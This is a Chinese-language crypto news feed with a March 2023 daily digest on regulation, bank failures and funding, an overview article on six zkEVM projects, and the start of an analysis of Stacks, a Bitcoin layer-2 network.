    今日要闻提示： 美国总统拜登将在预算提案中结束对加密货币等投资者的税收减免 美CFTC主席：以太坊和稳定币是商品不是证券，Gary Gensler涉嫌违法 腾讯幻核APP将于6月30日下线，提醒用户在此日期前申请退款 Silvergate Capital将结束运营并自愿清算银行，包括全额偿还所有存款 FTX将其红杉股权以4500万美元的价格出售给阿布扎比的投资部门 Mt.Gox最大债权人计划持有获偿付的比特币 加密薪酬合规公司Toku完成2000万美元融资， Blockchain Capital等参投 数说比特币NFT：累计总数突破32万个，交易市场独立地址总数突破1万个 监管消息 美联储主席鲍威尔再次呼吁明确加密货币注册框架 美联储主席鲍威尔在出席众议院听证会时强调尚未就加息步伐做出决定，在3月会议之前有重要数据尚未公布。美联储关注就业空缺、CPI，PPI和就业数据。将以即将发布的数据为指导。最终利率可能高于我们的预期。异常强劲的就业报告和通胀报告指向同一个方向。 鲍威尔还表示，如果美国违约，没人应该认为美国发生债务违约的情况下，美联储会保护经济。美联储不寻求也没有在财政政策中的相关职责。国会提高债务上限是唯一的选择。美联储主席鲍威尔再次呼吁明确加密货币注册框架。各州也可能在加密监管中发挥作用。发行零售央行数字货币（CBDC）需要获得国会批准。 美国总统拜登将在预算提案中结束对加密货币等投资者的税收减免 据彭博社报道，美国总统拜登将在周四公布的预算提案中结束对私募股权基金经理、石油公司以及加密货币和房地产投资者的税收减免。共和党控制的众议院将阻止取消税收优惠的法案，但政府的文件预示着如果拜登在2024年连任，他可能会将这些问题置于其经济纲领的中心。 预算案中包括的许多条款都是拜登以前提出过的想法，但是到目前为止还无法在国会获得必要的支持，使其成为法律，包括他自己的政党成员，比如西弗吉尼亚州参议员Joe Manchin。 美CFTC主席：以太坊和稳定币是商品不是证券，Gary Gensler涉嫌违法 据《财富》Fortune报道，在参议院农业委员会听证会上，美国商品期货交易委员会（CFTC）主席Rostin Behnam表示反对美国证券交易委员会主席Gary Gensler此前称“除比特币外所有加密货币都应归类为证券”，他认为以太坊和稳定币（比如Tether）属于商品，而不是证券。Rostin Behnam还称，Gary Gensler起诉Paxos并称其是一种“未注册证券”这件事或涉嫌违反投资者保护法，他希望与美国证券交易委员会合作以寻求协调机会，但CFTC尚未收到如何区分商品与证券的法律指导。 NFT Web3内容平台Mirror推出NFT订阅铸造“Subscribe to Mint”功能 据Mirror在社交媒体宣布，该Web3内容平台已推出订阅铸造“Subscribe to Mint”功能，目前已在以太坊、Optimism和Polygon链上部署，旨在支持创作者和藏家之间的互动，新功能将有两个潜在用例：1、创世Drop，Web3项目可以发布内容并与包含项目徽标或符号的收藏NFT配对，然后使用“Subscribe to Mint”通过内容更新和后续NFT投放与项目受众互动。2、推出可收藏NFT系列，持有者可以完成铸造NFT并鼓励新用户注册成为订阅者以参与未来NFT投放。据悉，“Subscribe to Mint”功能对创作者是完全免费的，创作者将获得所售NFT的100%收益。 腾讯幻核APP将于6月30日下线，提醒用户在此日期前申请退款 腾讯数字藏品平台幻核今日在下线通告中表示：“基于业务调整的安排，幻核APP将于2023年6月30日24时下线。幻核APP下线后，持有藏品的用户将无法在APP中查询、下载、展示及分享已购数字藏品，且不能再进行退款操作。”幻核建议用户在2023年6月30日期前进行退款操作。 元宇宙 韩国科技信息通信部将向元宇宙项目投入5100万美元 韩国科技信息通信部在近两日内发布了两份政策文件，将向元宇宙项目投入共计677亿韩元（约合5100万美元）。 该政府部门周三宣布，将向利用元宇宙的本地服务投资277亿韩元(约合2100万美元)。这笔2100万美元的投资将支持医疗、教育和旅游等领域的13个新项目，这些项目将利用元宇宙创新服务，改善对公众的服务。此外，该政府部门周二宣布了推出400亿韩元(约合3000万美元)的元宇宙基金，将鼓励元宇宙领域的小型企业积极寻求并购，以扩大业务到全球市场。 Otherside元宇宙活动2nd Trip暂定于3月25日上线，Otherdeeds NFT持有者将有机会参与 Yuga Labs在博客中宣布Otherside元宇宙平台的Otherside:2nd Trip活动暂定于3月25日上线。Voyagers（航海者）将能Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者将有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与，未来几周将提供更多关于Guest Pass(访客通行证)如何运作的细节。一旦2nd Trip达到容量，玩家将无法再加入体验。航海者将优先于访客通行证进入体验。参与链接将于当天发布。参加2nd Trip的旅行者将有资格获得第一次FIRST TRIP Obelisk碎片。 项目动态 Silvergate Capital将结束运营并自愿清算银行，包括全额偿还所有存款 据zerohedge报道，Silvergate Bank控股公司Silvergate Capital Corporation宣布将以有序的方式并按照与适用的监管程序结束运营，鉴于最近的行业和监管发展， Silvergate认为有序结束银行业务和自愿清算银行是最好的前进道路，该银行的清盘和清算计划包括全额偿还所有存款，同时还在考虑如何最好地解决索赔并保留其资产的剩余价值，包括其专有技术和税收资产。据悉，Centerview Partners LLC 将担任财务顾问，Cravath, Swaine & Moore LLP担任法律顾问，Strategic Risk Associates提供过渡项目管理协助。根据FDIC网站信息，这是自2020年以来美国第一家银行倒闭。 今日晚些时候消息，比特币矿商Marathon已结束与Silvergate Bank的信贷安排，提前偿还了定期贷款；赵长鹏表示币安在Silvergate上没有资产损失；Paxos表示，几乎对Silvergate没有风险敞口，已停止使用SEN网络；Coinbase表示，在Silvergate上没有客户或公司现金。 FTX将其红杉股权以4500万美元的价格出售给阿布扎比的投资部门 根据周三提交的法庭文件， FTX 的投资部门 Alameda Research 已达成 4500 万美元的现金交易，将其在红杉资本的权益出售给阿布扎比主权财富基金。该交易有待特拉华州破产法官 John Dorsey 的批准，FTX 试图出售其在早期加密货币和科技企业的投资以偿还债权人的一部分。该协议最早可能在 3 月 31 日结束，但 FTX 的交易将受到严密的司法审查。该文件称，潜在买家 Al Nawwar Investments RSC Limited 最终由阿布扎比政府所有，并且已经投资红杉资本。 此外，FTX提出400万美元的奖金计划以留住员工，首席执行官 John J. Ray III 希望提供高达工资 94% 的奖金，以阻止那些了解编程或公司会计惯例的人辞职。该计划将于 3 月 29 日在特拉华州法院举行的听证会上进行讨论。 Mt.Gox最大债权人计划持有获偿付的比特币 据彭博社报道，据知情人士透露，已破产加密交易所Mt.Gox的最大债权人Mt.Gox投资基金（Mt Gox Investment Fund）计划持有而不是出售将于今年获偿付的比特币。该基金选择在9月获得提前支付，而不是等待所有诉讼得到解决后再获得赔偿。它将以大约70%比特币和30%现金的比例获得90%的剩余赔付款。目前尚不清楚该基金预计收到的比特币数量。据此前消息，Mt.Gox提供的“偿付方案”（Rehabilitation Plan）包括“基础偿付”(Base Repayment) 部分和“比例偿付”(Proportional Repayment) 部分，其中基础偿付部分的金额一致，比例偿付部分为债权人提供2种选择，即“中期还款和终期还款”或“早期一次总付还款”。 今日晚些时候消息，Mt.Gox债权人登记截止日期已推迟至4月6日。 知情人士：摩根大通正结束与Gemini的业务合作关系 据CoinDesk报道，据一位知情人士透露，摩根大通正在结束与加密交易所Gemini的业务合作关系。早在2020年初，Gemini和Coinbase就成为了摩根大通的客户。加密行业在去年曾因多次丑闻和崩盘而受到冲击，现在面临着更严格的监管审查，加密公司获得银行服务的难度也变得更大。Gemini随后在推特发文称，与报道内容相反，Gemini与摩根大通的银行合作关系未受到影响。据Gemini网站显示，该公司还与道富银行（State Street）等建立了合作关系。 灰度CEO：预计公司对SEC的诉讼会在第三季度作出裁决 据彭博社报道，灰度（Grayscale）首席执行官Michael Sonnenshein表示，他预计其公司对美国证券交易委员会（SEC）拒绝比特币现货ETF的诉讼可能会在今年第三季度作出裁决。 Sonnenshein还表示，正在动用所有资源与美国SEC进行法律斗争。如果美国监管部门仍不愿承认比特币ETF的合法证券地位，公司在必要时将不惜把官司打到最高法院。此外他承诺如果ETF业务得到了监管部门批准，将下调费率向客户让利。 以太坊Goerli测试网预计将于3月15日上午激活Shapella升级 以太坊基金会在博客文章中宣布，Shapella网络升级将于epoch 162304在Goerli网络上激活，计划时间为北京时间3月15日06:25:36，预计这将是为以太坊主网安排Shapella升级之前的最后一次测试网升级。Shapella社区电话会议定于北京时间3月13日23:00。 Celsius仍对其他竞标持开放态度，尽管此前NovaWulf已出价 据路透社报道，Celsius Network的律师Chris Koenig周三在曼哈顿破产法庭的一次听证会上透露，尽管资产管理公司NovaWulf Digital Management已提出要约，该公司仍对更好的报价持开放态度，并且它及其债权人委员会两天前会见了一位潜在买家，以审查替代方案。 在听证会上，Celsius要求法官Martin Glenn提供更多时间提交围绕NovaWulf交易制定的破产重组计划，该计划将使加密存款不足5,000美元的客户兑现，并将公司剩余资产的所有权移交给拥有较大账户的客户。法官Glenn同意给Celsius额外三周的时间来提交第11章计划。Koenig表示，如果Celsius选择了另一个竞购者，它打算向NovaWulf提供高达2000万美元的合同解除费。Koenig说：“如果有更高的报价，那是因为NovaWulf设定了最低价格。” 今日晚些时候消息，Celsius自3月2日以来已处理约2120万美元的托管账户取款。 Lido社区新提案提议停止在Polkadot和Kusama上的流动性质押服务 Lido Finance社区发起新提案，提议停止在Polkadot和Kusama上的流动性质押服务。Lido合作伙伴MixBytes在提案中表示，自2023年8月1日起，将停止在Polkadot和Kusama流动性质押协议上为Lido开发和提供技术支持，并称“做出这个决定是因为面临多项挑战，包括市场条件、协议增长等”。 MixBytes建议在3月15日之前停止接受新的DOT和KSM进行流动性质押，并在6月晚些时候自动取消代币质押。MixBytes还表示正在寻求Lido DAO每月提供20000美元的资金，以支持五个月的技术维护工作。 SBF的律师称原定于10月份的审判可能需要推迟 据路透社报道，前FTX首席执行官Sam Bankman-Fried（SBF）的律师Christian Everdell周三表示，可能有必要推迟SBF原定于10月2日进行的刑事审判，理由是审查证据和准备辩护可能需要比预期更多的时间。Everdell在信中写道：“虽然我们此时不提出这样的申请，但我们现在想向法院说明这个问题。” Everdell在致美国地区法官Lewis Kaplan的一封信中说，曼哈顿的联邦检察官尚未提交从Caroline Ellison和Gary Wang的电子设备中收集到的证据。律师还指出，检察官上个月末增加了新的欺诈和共谋指控，将SBF的罪名增加到12项。审判时间表和SBF的保释条件预计将在周五的法庭听证会上进行讨论。 Gemini否认“摩根大通正结束与其合作关系”的报道 加密交易所Gemini在推特上澄清了此前CoinDesk的报道，Gemini表示：“尽管有报道与此相反，Gemini与摩根大通的银行关系仍然完好无损。” 此前今日早些时候消息，CoinDesk报道称摩根大通正结束与Gemini的业务合作关系。 美国法官批准Voyager保留Alameda之前向其索赔的4.45亿美元的贷款 据The Block报道，美国特拉华州破产法院法官John Dorsey批准了Voyager Digital和FTX之间协议，其中包括FTX起诉Voyager要求其偿还贷款后，Voyager将保留4.45亿美元。作为约定的一部分，双方同意参与不具约束力的调解，并为剩余争议的诉讼建立框架。Dorsey还批准了Godfrey & Kahn律师事务所的股东Katherine Stadler担任FTX案件的费用审查员。 Alameda诉讼可能会对Voyager客户产生重大影响。律师表示，根据重组计划，Voyager客户资金的回收率可能会达到73%，但如果FTX和Alameda索赔成功，这一比例将降至48%。 Uniswap V3核心代码版权商业保护将于4月1日到期 Uniswap V3在2021年5月5日上线以太坊主网前为其核心代码申请了为期 2 年的版权商业保护，该保护在两年内限制 Uniswap V3 核心代码的不当商业使用，该保护期将于4月1日正式结束。 此前Uniswap表示，可以通过协议治理更改其版权保护限制，可以通过治理提前从 Business Source License 1.1转为 GPL 许可。 OpenSea、ConsenSys等加密公司的股权正在二级市场上大幅折价出售 据The Block报道，二级市场交易平台 Birel 首席执行官 Richard Freemanson 证实，许多加密初创公司的股权目前在 Birel.io 上以相当大的折扣出售。这些初创公司包括 Alchemy、Blockchain.com、Chainalysis、Kraken、ConsenSys、Blockdaemon、CoinDCX 和 OpenSea。上述公司发售的大宗股权规模从 300 万美元到 5000 万美元不等，而且折扣差别很大。 最引人注目的是 Blockchain.com 和 ConsenSys，他们的股权分别以较最新一轮融资折让 74% 和 71% 的价格发售。Chainalysis 股权以 61% 的折扣出售，OpenSea 股权以 51% 的折扣出售。Alchemy、Blockdaemon 和 Kraken 的股权分别折价 31%、30% 和 9%。但也有部分公司如比特币基础设施公司 Bitfury 的股权以小幅溢价出售。 Chainalysis、OpenSea 和 Blockdaemon 的发言人拒绝置评。提到的其他公司没有立即回应置评请求。 融资消息 Web3足球游戏公司Matchday完成2100万美元种子轮融资，梅西旗下基金Play Time参投 据Fastcompany报道，Web3游戏互动娱乐初创公司Matchday宣布完成2100万美元种子轮融资，梅西旗下基金Play Time参投。Matchday将 Web3 和移动游戏结合起来，创建一套由FIFA授权的足球游戏，Matchday首席游戏官Sebastien de Halleux表示相信真正的所有权对于为游戏玩家创造一系列新体验非常重要，希望将数亿球迷吸引到Web3，该公司预计第一款游戏将在第二季度发布。 加密薪酬合规公司Toku完成2000万美元融资， Blockchain Capital等参投 据Fortune报道，加密薪酬合规发放公司Toku完成2000万美元融资， Blockchain Capital、 Orrick、Alchemy、GMJP、OrangeDAO、Reverie、Quantstamp、Next Web Capital、Protocol Labs创始人Juan Benet、Cameron、Tyler Winklevoss等参投。 该公司旨在帮助加密公司处理与代币相关的薪酬发放的税法工作，它声称已经在数十个国家创建了一个系统来跟踪与加密相关的税法和法规，目前拥有30家客户，包括Filecoin Foundation、Gitcoin等。 Alpha Sigma和Transform Ventures将为两只新的区块链基金筹集1亿美元 据路透社报道，Alpha Sigma创始人兼首席执行官Enzo Villani周三表示，总部位于美国的数字资产基金Alpha Sigma Capital和风险投资公司Transform Ventures将为两只专注于区块链和去中心化Web3风险投资的新基金筹集1亿美元。 由加密投资者Michael Terpin创立的Transform Ventures也将其部分资产与Alpha Sigma的母公司合并，成立了一家名为Alpha Transform Holdings的新控股公司。后者将监管这两只新基金。新的Alpha Liquid数字资产基金于本月初推出，最初由Terpin投资，他对现金、比特币和以太坊进行了265万美元的个人投资，并可选择再投资290万美元。 Villani表示，第二只基金是一家名为爱琴海基金(Aegean fund)的封闭式风险投资公司，目前仍在建立过程中。 Web3开发工具提供商Cubist完成700万美元种子轮融资，Polychain Capital领投 据The Block报道，Web3 开发工具提供商 Cubist 在由 Polychain Capital 领投的种子轮融资中获得了 700 万美元，Dao5、Polygon、Amplify Partners 和 Axelar 也参与了此次融资。该轮融资将用于招聘以及扩展和宣传 SDK。 重要数据 数说比特币NFT：累计总数突破32万个，交易市场独立地址总数突破1万个 PAData综合了比特币的链上数据（1月21日至3月7日）和OrdinalsNFT的交易数据对当前的NFT类型、交易规模、用户规模、矿业变化和网络基本面进行分析，结果显示： 1）比特币上已累计生成了32.88万个OrdinalsNFT，日均新增7148个。其中图片20.88万个，文本11.74万个。近期文本NFT增长最明显。 2）ordinals.market、ORDSWAP、OrdinalsWallet和OpenOrdex四大市场在2月15日至3月7日期间的累计交易总额约为699万美元，当前总独立地址数突破1万个。 3）OrdinalsNFT是提高矿工手续费收入的主要原因，未来可能成为主要收入来源。NFT产生的手续费从单日0.00066 BTC增长至0.28428BTC，涨幅约为43257.73%，相当于翻了433倍。在2月中旬，比特币NFT手续费占比一度突破了21%，连续多日高于15%。 4）统计期内，平均每1万个比特币NFT手续费占矿工总手续费收入的12.47%。比特币NFT数量的增长将会较明显的影响矿工收入。 5）统计期内，比特币平均区块重量占总容量的平均比重约为87.78%。当前比特币OrdinalsNFT活动没有对其他交易活动形成挤压，只是消耗了本来就空余的空间。这也是目前平均每字节交易费用没有增长的原因。 数据：以比特币计价的交易量在过去24小时内下降35%，或受Silvergate影响 据CoinDesk报道，CryptoQuant数据显示，由于Silvergate的清算对市场的影响，以比特币计价的交易量在过去24小时内下降35%。与此同时，比特币区块链上的交易总数在同一时期下降17%，活跃地址数量下降10%。 另据CoinGecko的数据显示，3月份比特币日平均交易量约为250亿美元，而2月份的比特币日平均交易量约为360亿美元。 巴黎做市商和经纪公司Flowdesk的首席执行官Guilhem Chaumont表示：“当有关Silvergate财务困难的消息传出时，再加上比特币价格下跌，我们看到整个生态系统的交易量也明显下降。”  ( 6 min )
    盘点以太坊可扩展未来的关键：zkEVM赛道的6大潜力项目
    编译 | Cindy，SophonLabs Layer 2 扩展是区块链行业最关键的问题之一，因为以太坊的第一层（也称为Layer 1或L1）是由以太坊本身实现的，它是在以太坊区块链上运行的智能合约平台。然而，由于以太坊的原始架构存在吞吐量限制和高昂的交易手续费，因此需要构建第二层扩展解决方案来提高交易速度和降低成本。好多优质的Web3公司在下一次牛市之前开发出强大的解决方案。因为在2022 年初出现了很多问题以太坊 L1 被成千上万的交易堵塞，给 NFT 买家和 Defi 交易者带来了很多阻塞的体验，也使得zkEVMs 是最具创新性和最受欢迎的解决方案之一！Layer 2通过将交易从以太坊主链中移除，使得以太坊主链可以专注于更基础的交易处理，而更高级的交易可以在L2上进行处理，从而提高整个以太坊系统的扩展能力。 zkEVM（Zero-Knowledge Execution Environment Virtual Machine）是一种利用零知识证明实现隐私保护的以太坊虚拟机。 zkEVM 允许以保护合同条款和合同中涉及的数据隐私的方式执行智能合同。这是通过零知识证明实现的，零知识证明是一种加密证明，允许一方向另一方证明某项陈述是真实的，而无需透露有关该陈述的任何其他信息。zkEVM的基本思想是，在以太坊的智能合约执行过程中，部分数据可以在不泄露原始数据的情况下进行处理和验证。具体来说，zkEVM采用零知识证明技术，使得原始数据保持隐私的同时，验证执行结果的正确性。 zkEVM的引入可以有效提高智能合约的隐私性和性能。使用zkEVM，用户可以在保护隐私的前提下，以更快的速度执行包含秘密计算的智能合约。这对于一些场景比较敏感的应用非常重要，例如金融、医疗等领域。目前zkEVM还处于研究和开发阶段，但已经吸引了很多关注和投入。预计在未来几年中，zkEVM将逐渐成为以太坊生态系统中不可或缺的一部分。zkEVM 解决方案种类繁多，虽然这些类型中的每一种都在努力构建最好的 zkEVM，但它们都以不同的方式尝试实现这一目标。 如果要获得更加深刻的解读在 Vitalik 的博客中找到更深入的技术解释以及每种类型的 zkEVM 的优缺点。 zk-rollup 是一种用于区块链网络的第 2 层扩展解决方案。它允许交易在链下处理，然后“汇总”到单个链上交易中，从而减少主区块链上的负载并提高交易吞吐量。 在 zk-rollup 中，交易由一组负责确保交易正确性的验证器处理。这些验证器创建了一个零知识证明，这是一种密码学证明，可以证明一个陈述是真实的，但不会透露任何关于该陈述的额外信息。然后将零知识证明添加到链上交易中，允许对交易进行验证，而无需在主区块链上处理每笔交易。 zk-rollups 和 zkEVMs 之间的一个主要区别是 zk-rollup 侧重于可扩展性，而 zkEVM 侧重于隐私。zk-rollup 允许在链下处理大量交易，同时仍保持以太坊主链的安全性和完整性。另一方面，zkEVM 允许以保护隐私的方式执行智能合约，允许在以太坊平台上创建私人、机密的交易。 zk-rollup 和 zkEVM 都是重大创新，有助于提高以太坊的可扩展性和隐私性。它们都有可能显着增强以太坊平台的功能，并使其对广泛的应用程序更有用。 了解了 zkEVM 和 zk-rollups 的基础知识后，让我们仔细看看实现 zkEVM 的不同项目。 zkSync是以太坊的第 2 层扩展解决方案，旨在提高以太坊网络的可扩展性和速度。它基于零知识证明，允许在不泄露基础数据的情况下验证交易。这允许 zkSync 处理链下交易，这意味着它们不会记录在以太坊区块链本身上。相反，它们被记录在一个单独的链下数据结构中，称为“Merkle 树”。zkSync 的一个关键特性是它使用“乐观”传输，它允许用户发送和接收交易，而无需等待它们在以太坊区块链上得到确认。这显着减少了交易时间并允许更高的交易吞吐量。 除了使用零知识证明和乐观传输之外，zkSync 还利用其他几种技术来提高可扩展性和安全性。其中包括签名聚合，它允许将多个签名压缩为一个签名，以及多链支持，这有助于 zkSync 与其他区块链网络进行交互。 总体而言，zkSync 旨在为去中心化应用程序 (dApp) 和其他基于以太坊的项目提供一个可扩展且安全的平台。通过允许更快、更高效的交易，它旨在让开发人员更容易构建和部署 dApp，并让用户更容易与之交互。 zkSync 面临的主要挑战之一是需要平衡可扩展性和安全性。虽然使用零知识证明和其他技术可以实现更快、更高效的交易，但它也带来了额外的复杂性和潜在的漏洞。因此，zkSync 不断努力改进和完善其技术，以确保其尽可能安全和稳健。 尽管面临这些挑战，zkSync 自 2020 年推出以来取得了重大进展，并且已经在开发人员和用户中赢得了强大的追随者。其扩展以太坊的独特方法吸引了相当多的关注和投资，并有可能在以太坊生态系统的未来发展中发挥重要作用。 Starkware是一个开发了名为 StarkNet 的协议的项目。StarkNet 是一种第 2 层扩展解决方案，旨在提高区块链的效率和可扩展性，尤其是那些使用智能合约的区块链。 StarkNet 的一个关键特性是它使用 STARKs，这是一种零知识证明系统，允许用户在不泄露底层数据的情况下证明计算的正确性。这允许在网络上提供更大的隐私和安全性，并且能够在不需要受信任的第三方的情况下执行复杂的计算。 StarkNet 还利用分片技术，这种技术允许将区块链分成多个可以并行处理的较小链或“分片”。这允许更大的吞吐量和更快的交易时间，因为每个分片都可以独立于其他分片进行处理。StarkNet 的主要目标之一是能够大规模创建去中心化金融 (DeFi) 应用程序。DeFi 应用程序通常依赖于智能合约和其他复杂的计算，这会给底层区块链带来压力并限制其可扩展性。通过使用 StarkNet，DeFi 开发人员可以创建更高效和可扩展的应用程序，以处理更大量的交易。 StarkNet 已经与几个流行的区块链集成，包括以太坊、币安智能链和 Polkadot。这允许开发人员使用 StarkNet 在这些平台之上构建 DeFi 应用程序，而不必担心可扩展性问题。除了专注于 DeFi，StarkNet 还被用于其他各种应用，包括供应链管理、投票系统，甚至医学研究。该协议的多功能性和可扩展性使其成为广泛用例的有吸引力的选择。 总体而言，Starkware 的 StarkNet 协议代表了区块链技术的重大进步。它使用 STARKs 和分片可以提高效率、隐私和可扩展性，使其成为各种应用程序的理想解决方案，尤其是 DeFi 领域的应用程序。 Polygon 区块链项目最近引入了一项名为Hermez zkEVM的新技术。该技术旨在提高以太坊区块链的可扩展性和隐私性。 Hermez zkEVM 旨在通过使用零知识证明来解决以太坊区块链的可扩展性问题，从而在以太坊网络上实现更快、更便宜的交易。在 Hermez zkEVM 的背景下，可以使用零知识证明来验证交易的正确性，而无需透露具体细节。这允许更快的交易处理和减少费用，因为不需要整个网络来验证每笔交易。 除了提高可扩展性，Hermez zkEVM 还增强了以太坊网络的隐私性。通过使用零知识证明，Hermez zkEVM 允许进行机密交易，对除发送方和接收方以外的各方隐藏交易的具体细节。这对各种应用程序都很有用，例如允许个人在不透露身份的情况下进行金融交易，或者允许公司在不披露敏感财务信息的情况下开展业务。正如前面在各种类型的 zkEVM 中提到的，Polygon 的这种实现在字节码级别而不是在语言级别兼容。 Hermez zkEVM 是以太坊网络和更广泛的区块链社区的一个有前途的发展。通过提高可扩展性和隐私性，它有可能使以太坊网络对广泛的 dApp 和用例更具吸引力。看看这项技术如何被采用以及它如何影响以太坊网络和其他区块链平台的未来发展将会很有趣。 Scroll是一种去中心化协议，旨在为以太坊区块链带来可扩展性和更高的安全性。Scroll 的一个关键特性是它使用 zk-rollups，这是一种第 2 层扩展解决方案，允许更快、更便宜的交易，同时保持主区块链的安全性。 在 zk-rollup 中，交易被捆绑在一起，并由主区块链上的智能合约进行验证。这允许更高的交易吞吐量，因为验证每个单独交易的负担从主链中移除并放在汇总合约上。Scroll 特别专注于创建与 EVM 兼容的 zk-rollup，这意味着它可以支持与以太坊相同的编程语言和智能合约。这很重要，因为它允许开发人员轻松地将他们现有的应用程序迁移到 Scroll 网络，而无需对其代码进行任何更改。 总的来说，Scroll 是一个很有前途的项目，致力于将 zk-rollups 的好处带入以太坊生态系统。通过创建与 EVM 兼容的解决方案，Scroll 可以为开发人员提供一种简单的方法来扩展他们的应用程序并利用 zk-rollups 提高的安全性和效率。随着以太坊网络的不断发展和对可扩展解决方案的需求增加，像 Scroll 这样的项目将在区块链行业的发展中发挥至关重要的作用。 ConsenSys和Infura是以太坊生态系统中最著名的两个名字，它们正在开发一个名为 zkEVM 的新版本的以太坊虚拟机 (EVM)。该项目旨在提高以太坊的可扩展性，这也一直是该平台面临的重大挑战。 ConsenSys 和 Infura 正致力于将 zkEVM 集成到以太坊主网中，让网络上的任何人都可以使用它。对于以太坊社区来说这是一个令人兴奋的发展，因为它有可能解决过去阻碍该平台发展的一些可扩展性挑战。 虽然该公司尚未发布有关该项目的许多细节、他们的实施方法和其他事情，但这仍然是开发人员关注的最令人兴奋的项目之一。Consensys 已经构建了一些支撑以太坊生态系统的核心基础设施，如果此 zkEVM 实施成为人群中最受欢迎的实施之一，也就不足为奇了。 Taiko在其网站上将自己产品定位为“Type 1 zkEVM——完全去中心化、等同于以太坊的 zk-rollup”。他们声称，与此列表中的其他项目相比，作为 Type 1 zkEVM 是主要的区别之一。他们几乎没有对以太坊架构进行任何更改，包括哈希函数、状态树或 gas 成本。通过这样做，他们可以在尽可能少的修改的情况下重用执行客户端实现。使用像 Taiko 这样的 Type 1 zkEVM 的主要优势之一是无需对代码进行太多更改即可轻松迁移。例如，您可以部署在以太坊 L1 上，然后迁移到 Taiko。另一方面，您也可以先部署在 Taiko 上，然后再迁移到任何其他 EVM 兼容链。 zkEVM（Zero-Knowledge Execution Environment Virtual Machine）是一种利用零知识证明实现隐私保护的以太坊虚拟机。它允许以保护合同条款和合同中涉及的数据隐私的方式执行智能合同。zkEVM的基本思想是，在以太坊的智能合约执行过程中，部分数据可以在不泄露原始数据的情况下进行处理和验证。 与zkEVM不同，zk-rollup是一种第二层扩展解决方案，它侧重于可扩展性而非隐私。它允许在链下处理大量交易，然后将交易汇总到单个链上交易中，从而减少主区块链上的负载并提高交易吞吐量。在zk-rollup中，交易由一组验证器处理，并创建一个零知识证明，以证明交易正确性，这些验证器负责确保交易正确性。 虽然zkEVM和zk-rollup有不同的重点，但它们都是重大创新，有助于提高以太坊的可扩展性和隐私性。它们有可能显着增强以太坊平台的功能，并使其对广泛的应用程序更有用。 本文介绍了6个zkEVM项目，包括zkSync、Starkware StarkNet、Polygon Hermez、Scroll、Consensys和Infura、Taiko。这些项目旨在提高以太坊的可扩展性和安全性，通过使用零知识证明、分片技术和其他技术来实现更快、更高效的交易。总之，这些zkEVM项目的发展有望对以太坊生态系统和区块链技术的未来产生重要影响。它们正在努力提高以太坊的可扩展性和隐私性，通过使用零知识证明、分片技术和其他技术来实现更快、更高效的交易。这些项目的成功将有助于推动以太坊的发展，使其更具有竞争力，并使其对广泛的应用程序更有用。  ( 5 min )
    Web3开发工具提供商Cubist完成700万美元种子轮融资，Polychain Capital领投
    PANews 3月9日消息，据The Block报道，Web3 开发工具提供商 Cubist 在由 Polychain Capital 领投的种子轮融资中获得了 700 万美元，Dao5、Polygon、Amplify Partners 和 Axelar 也参与了此次融资。该轮融资将用于招聘以及扩展和宣传 SDK。  ( 4 min )
    比特币头部Layer2 Stacks未来能走多远？解析Stacks技术特性及生态
    原文：《比特币明星公链 Stacks，未来能走多远》 作者：Daniel Li 随着比特币NFT协议Ordinals的火爆，整个比特币NFT市场开启了新一轮的竞争。作为首批能够生产比特币序数的区块链之一，Stacks从中获益颇丰。在过去的十多天里，其代币STX价格翻了两番。虽然近期大盘开启了下行趋势，STX价格也回落至0.69美元，但仍然是热门币种，受到许多投资者的青睐。然而，Ordinals的火爆也引发了一个问题，随着越来越多的比特币NFT项目涌现，比特币网络可能会出现拥塞，这将考验比特币极简主义的理念。对于作为比特币L2公链的Stacks来说，这既是一个挑战，也是一个难得的机遇。 区块链一直存在一个被称为“不可能三角”的技术难题，即在去中心化、安全性和可扩展性三个方面，只能同时满足其中两个。作为最早的公链之一，比特币也遵循了这一原则。比特币在去中心化和安全性方面做得最好，但在可扩展性方面做出了很大的妥协，导致其可扩展性非常差，10分钟才能写入一个新区块、并且交易确认时间更是高达数十分钟，因为有这些限制，比特币虽然已经发展了十几年，但它仍然被当做一个纯粹的价值公链而存在。 除了技术方面，社会分歧也是影响比特币扩容的原因之一，比特币原教旨主义者认为当前比特币作为价值公链已经足够好了，无需扩容来提高交易速度。他们认为扩容有可能会改变比特币的共识机制，导致比特币出现硬分叉，影响比特币安全性和去中心化的特性。此外，在比特币网络上部署各种复杂的智能合约和应用，也会导致比特币网络拥堵，助涨了 Gas 费用，这偏离中本聪将比特币作为点对点（P2P）现金系统的愿景。因此他们反对比特币扩容，主张维持比特币网络的简单和稳定。 技术难题和社区分歧使得比特币扩容进程缓慢而曲折，在Stacks问世之前，也曾有不少项目试图改善比特币的可扩展性，但它们大多销声匿迹，只有少数分叉项目因炒作而短暂走红。相比之下，Stacks无疑是最为成功的一项。 Stacks的成功主要源之于它在比特币原教旨主义和扩容派之间寻找到了平衡点。 比特币原生网络本身并没有支持智能合约和去中心化应用程序，因此需要借助第二层协议来实现这些功能。Stacks就是这样一个协议，它通过构建一个新的区块链，实现了在比特币网络上部署智能合约和去中心化应用程序的功能。Stacks区块链与比特币网络交互，使用比特币的安全性和网络效应来确保其安全性和去中心化性，同时又不会对比特币网络做任何修改，保持比特币网络的简单和稳定性。 近期因为Ordinals的火爆，公众开始把目光聚焦在了之前并未过多关注的比特币扩容问题上，人们才惊奇发现了Stacks的存在，当人们习惯性地认为Stacks也是一款短期的网红产品时，却不知道Stacks在构建比特比二层网络这条路上已经默默耕耘了将近10年。 Stacks是基于比特币区块链的独立区块链，由Muneeb Ali和Ryan Shea于2013年创建。采用"Proof of Transfer"（PoX）协议，利用比特币的安全性和Stacks代币（STX）实现智能合约。早期专注于DApps开发和结合比特币安全性提供去中心化体验。随着比特币拥堵和高费用，Stacks开始研究使用比特币的第二层技术（如闪电网络）扩展网络吞吐量和交易速度，推出了Stacks 2.0，实现高吞吐量、低成本和即时结算的交易。 Stacks在技术方面具有许多优势，具体体现在以下几个方面： (1) PoX挖矿机制：Stacks使用PoX挖矿机制代替了传统的PoW或PoS挖矿机制，从而解决了传统挖矿机制中存在的许多问题，例如能源消耗、算力竞赛等问题。 (2) Clarity智能合约语言：Stacks开发了一种名为Clarity的智能合约语言，该语言具有强类型系统和明确的执行逻辑，可以在不需要中间人的情况下执行安全的智能合约，从而提高了智能合约的可靠性和可操作性。 (3) 